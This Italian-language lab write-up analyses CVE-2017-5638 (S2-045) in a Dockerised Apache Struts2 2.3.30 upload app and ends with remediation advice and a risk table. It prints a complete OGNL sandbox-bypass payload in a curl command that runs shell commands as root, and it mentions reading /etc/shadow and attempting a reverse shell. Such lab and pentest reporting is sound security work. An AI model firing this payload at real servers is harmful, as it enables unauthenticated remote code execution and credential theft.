

Dopo aver avviato il container, i log di Struts2 mostrano che l'applicazione carica file di configurazione noti come struts-default.xml, struts-plugin.xml e struts.xml. Ciò conferma che il framework in uso è Apache Struts2.

Un punto notevole si trova nella riga:
Choosing bean (jakarta) for (org.apache.struts2.dispatcher.multipart.MultiPartRequest)
Questa riga indica che Struts2 sta scegliendo il Jakarta multipart parser (analizzatore dei dati di upload multipart) per gestire le richieste di tipo multipart/form-data, che si incontra comunemente nelle funzionalità di upload di file.
Questo è un segnale cruciale nell'analisi di S2-045 / CVE-2017-5638, poiché questa vulnerabilità è legata al processo con cui Struts2 gestisce gli errori durante il parsing delle richieste multipart, in particolare con un header Content-Type non valido.
Tuttavia, questo log dimostra solo che l'applicazione usa Struts2 e un gestore multipart in stile Jakarta. Non è ancora sufficiente per concludere che l'applicazione sia sicuramente vulnerabile. Per confermarlo, dobbiamo determinare la versione di struts2-core e confrontarla con l'intervallo di versioni interessate.



Quando si accede al servizio web usando curl, gli header della risposta mostrano che l'applicazione è in esecuzione su Jetty 9.2.11.v20150529. Questa informazione aiuta a identificare l'ambiente che esegue l'applicazione (servlet container), ma non rivela direttamente la versione di Struts2.
L'interfaccia web restituisce la pagina Struts2 Showcase - Fileupload sample, con un modulo di upload che usa:
method="POST"
enctype="multipart/form-data"
action="/upload.action"
Questo corrisponde al log precedente in cui Struts2 ha scelto jakarta per MultiPartRequest: l'applicazione ha effettivamente un flusso di gestione dell'upload di file tramite multipart/form-data.
⇒ Ragionamento: L'endpoint /upload.action usa multipart/form-data, corrispondente al meccanismo che Struts2 elabora tramite Jakarta MultiPartRequest. Questo è un segnale che rafforza il sospetto di S2-045/CVE-2017-5638, ma dobbiamo determinare la versione di Struts2 prima di concludere che l'applicazione sia vulnerabile. Successivamente, è ancora necessaria una verifica più approfondita riguardo alla versione di struts2-core e a come l'applicazione gestisce gli errori quando riceve un Content-Type non valido.
Dopo aver identificato che l'applicazione ha un endpoint di upload che usa multipart/form-data, il passo successivo dell'analisi è trovare la versione effettiva di Struts2. Questo è cruciale perché i segnali precedenti hanno solo mostrato che l'applicazione ha un meccanismo legato all'upload multipart, il che non è ancora sufficiente per concludere che sia vulnerabile.

Dopo aver identificato il container corretto che serve l'Endpoint 8001, il controllo delle librerie viene eseguito direttamente all'interno del container project1-lab01-1.
Il risultato ha individuato il file struts2-core:
/root/.m2/repository/org/apache/struts/struts2-core/2.3.30/struts2-core-2.3.30.jar
Da questo percorso possiamo determinare che l'applicazione usa Apache Struts2 2.3.30.

Confrontando questo con la vulnerabilità pubblicata CVE-2017-5638 / S2-045, essa colpisce molte versioni precedenti di Struts2, incluso il ramo 2.3.x antecedente alla patch. Se combinato con:
Framework: Apache Struts2
Version: 2.3.30
Multipart parser: Jakarta
Endpoint: /upload.action
Content-Type: multipart/form-data
La catena di condizioni dell'analisi diventa più chiara:
Struts2 Version 2.3.30 < Version 2.3.32
+ Jakarta multipart parser + upload endpoint
→ The application is within the strong suspicion range of S2-045/CVE-2017-5638
Tuttavia, dal punto di vista dell'analisi, una versione vulnerabile è solo la prova del potenziale di essere interessati. Per confermare a livello comportamentale, dobbiamo inviare una richiesta multipart anomala e osservare la risposta/i log per vedere se entra nel ramo di gestione degli errori del parser multipart di Struts2.
⇒ Ragionamento: A questo punto non si tratta più solo di identificare il framework; la versione 2.3.30 conferma che l'applicazione rientra nell'intervallo di versioni interessate da S2-045/CVE-2017-5638. Il passo rimanente è verificare il comportamento di gestione degli errori multipart per completare la catena di prove.

Dobbiamo verificare se le richieste inviate a /upload.action passano realmente attraverso il meccanismo di elaborazione multipart di Struts2. Qui uso il comando curl con l'opzione -F per testare il meccanismo di gestione. E il risultato restituito è scomposto in parti:
<li>ContentType: text/plain</li>
<li>FileName: test.txt</li>
<li>File: /usr/src/target/tmp/upload_...</li>
<li>Caption:test</li>
⇒ Una richiesta valida dimostra che /upload.action passa effettivamente attraverso il meccanismo di upload multipart perché curl -F genera multipart/form-data e il server può analizzare ogni parte della richiesta.


Dopo aver inviato una richiesta che dichiara Content-Type come multipart/form-data ma con un corpo che non è conforme alla struttura multipart, il server restituisce comunque HTTP 200 OK. Tuttavia, i campi ContentType, FileName, File e Caption sono tutti vuoti. Controllando i log di Docker, notiamo che non c'è boundary (stringa separatrice tra le parti nel multipart), e il client riceve comunque HTTP 200 OK. Tuttavia, Struts2 in realtà ha riscontrato un errore durante l'elaborazione della richiesta.
Questo prova la catena di prove:
Faulty multipart request
→ Struts2 wraps request
→ MultiPartRequestWrapper is called
→ JakartaMultiPartRequest parses request
→ FileUploadException due to missing boundary
⇒ Corrisponde ai componenti correlati a S2-045/CVE-2017-5638. Pertanto, la catena di condizioni è più completa: versione vulnerabile, parser Jakarta, endpoint di upload e richiesta difettosa entrano nel ramo corretto di elaborazione multipart.
Il punto critico di S2-045/CVE-2017-5638 non risiede solo nel fallimento del multipart parser. L'errore del parser è soltanto la condizione di innesco iniziale. La parte pericolosa sta nel modo in cui Struts2 gestisce successivamente il messaggio di errore. Nelle versioni di Struts2 vulnerabili, quando il multipart parser incontra un errore, il contenuto dell'errore può essere inserito nel meccanismo di gestione dei messaggi di Struts2. Se un attaccante controlla parte dei dati che compaiono nell'errore, in particolare dall'header Content-Type, quei dati possono essere valutati da Struts2 tramite OGNL (Object-Graph Navigation Language - il linguaggio di espressione di Struts/XWork).
Ragionamento:
Anomalous Content-Type
→ Jakarta multipart parser parsing error
→ Struts2 generates/logs error message
→ error message goes through expression evaluation mechanism
→ if malicious OGNL is present, it can lead to RCE
Avendo identificato che il target usa Struts2, e poiché Struts2 usa OGNL come motore di espressioni, la ricerca su PayloadsAllTheThings mostra che iniettare new String(@java.lang.Runtime@getRuntime().exec("id").getInputStream().readAllBytes()) in Struts2 fallirà perché Struts2 ha una sandbox che blocca l'accesso a java.lang.Runtime.

⇒ Assembla il payload trovato nella struttura di sfruttamento di Struts2:
Attivazione del Parser Jakarta
(#_="multipart/form-data")
Bypass della Sandbox di Struts2 (Richiesto)
(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context["com.opensymphony.xwork2.ActionContext.container"]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm))))
Payload di Esecuzione Comandi
(new java.lang.String(@java.lang.Runtime@getRuntime().exec("id").getInputStream().readAllBytes()))
Tuttavia, eseguendo il payload nella pratica, ci imbattiamo in due problemi:
Errore di versione Java: Il server del laboratorio esegue Jetty 2015 (Java 8), mentre la funzione readAllBytes() è supportata solo a partire da Java 9. Se insistiamo nell'usarla, OGNL fallirà silenziosamente e restituirà una pagina HTML vuota. Questo viene risolto passando all'uso della classe IOUtils della libreria org.apache.commons.io (sempre disponibile in Struts2) per leggere il flusso.
Filtraggio dell'output: Anche se il comando è stato eseguito, incorporare il risultato direttamente nel flusso HTML può rompere la struttura o essere filtrato. Questo viene risolto accedendo direttamente a HttpServletResponse, usando getWriter().println() per stampare prima l'output, quindi chiamando flush() e close() per terminare immediatamente la connessione. Questo costringe il server a restituire il risultato pulito dell'esecuzione del comando, bypassando tutta la spazzatura dell'interfaccia HTML.
⇒ Riassemblando le modifiche sopra, otteniamo il comando curl completo (usando ProcessBuilder + IOUtils + Response Writer):
curl -i -s -X POST "http://192.168.3.137:8001/doUpload.action" \
-H 'Content-Type: %{(#_="multipart/form-data").(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context["com.opensymphony.xwork2.ActionContext.container"]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd="id").(#iswin=(@java.lang.System@getProperty("os.name").toLowerCase().contains("win"))).(#cmds=(#iswin?{"cmd.exe","/c",#cmd}:{"/bin/bash","-c",#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))).(#context["com.opensymphony.xwork2.dispatcher.HttpServletResponse"].getWriter().println(#ros)).(#context["com.opensymphony.xwork2.dispatcher.HttpServletResponse"].getWriter().flush()).(#context["com.opensymphony.xwork2.dispatcher.HttpServletResponse"].getWriter().close())}' \
-d "foo=bar"

Sfruttamento riuscito!!!
Sebbene abbiamo ottenuto RCE con privilegi di root, ogni comando deve essere inviato tramite una richiesta HTTP separata, fornendo un ambiente non interattivo. Una Reverse Shell consente di stabilire una sessione persistente, interagendo direttamente con il sistema target come se si fosse davanti alla macchina, agevolando la raccolta di informazioni e una post-exploitation più approfondita.
Verifica dei privilegi
Dopo uno sfruttamento riuscito, verifica i privilegi sul sistema:
uid=0(root) gid=0(root) groups=0(root)
→ L'applicazione viene eseguita con privilegi root — non è necessaria alcuna escalation dei privilegi.
Raccolta di dati sensibili
Leggi il file /etc/shadow (il file contenente gli hash delle password, a cui solo root ha il permesso di accedere):

→ Dimostra che l'attaccante ha pieno accesso in lettura/scrittura ai file di sistema, inclusi quelli più sensibili.
Nota sulla Reverse Shell
La creazione della reverse shell non è riuscita perché il container Docker su Windows usa una rete interna (bridge/NAT); il container non può connettersi di nuovo alla macchina dell'attaccante (Kali) sulla LAN locale. Tuttavia, ciò non influisce sulla gravità della vulnerabilità — l'attaccante ha ottenuto RCE con privilegi di root e può eseguire qualsiasi comando sul sistema.
La vulnerabilità OGNL Injection (CVE-2017-5638 / S2-045) su questo sistema è valutata al massimo livello di rischio:
Per risolvere completamente questa vulnerabilità, i team di amministrazione di sistema e sviluppo dovrebbero implementare le seguenti misure (in ordine di priorità):
Priorità urgenti (breve termine):
Aggiornare Apache Struts2: Aggiornare immediatamente il framework a una versione sicura (≥ 2.3.32 o ≥ 2.5.10.1). Questa è una misura obbligatoria poiché la vulnerabilità risiede nell'implementazione core della libreria JakartaMultiPartRequest.
Ridurre i privilegi di esecuzione: Non eseguire mai applicazioni web (Jetty/Tomcat) con l'utente root. Dovrebbe essere creato un utente dedicato (ad es., struts_user) con i privilegi minimi necessari per eseguire l'applicazione.
Priorità alte (lungo termine e difesa in profondità):
Distribuire un WAF (Web Application Firewall): Configurare le regole del WAF per rilevare e bloccare le richieste HTTP contenenti payload OGNL (ad es., %{...}, ${...}, ognl, java.lang.ProcessBuilder) nell'header Content-Type.
Cambiare il parser multipart: Se l'applicazione non è obbligata a usare il parser di Jakarta, valutare il passaggio a una libreria alternativa come Pell o COS nel file di configurazione struts.xml (struts.multipart.parser=cos).
Limitare il networking del container: Non mantenere il container su una rete bridge condivisa se non necessario. Configurare le regole del firewall per impedire al container di avviare attivamente connessioni in uscita (traffico outbound) verso Internet, al fine di prevenire reverse shell.
| Criterio | Valutazione | Dettagli |
|---|
| Punteggio CVSS | 10.0 (Critical) | Punteggio massimo assoluto. |
| Autenticazione | Non richiesta | L'attaccante non ha bisogno di un account o di essere autenticato per sfruttare questa vulnerabilità. |
| Complessità | Molto bassa | Richiede solo l'invio di una singola richiesta HTTP (POST) contenente il payload nell'header Content-Type. |
| Privilegi ottenuti | root | Controllo completo sull'applicazione/container al massimo livello di privilegio, con la capacità di leggere/scrivere qualsiasi file (come /etc/shadow). |
| Movimento laterale | Alto | Dal container compromesso, l'attaccante può scandagliare la rete interna (LAN) e attaccare altri container o server host. |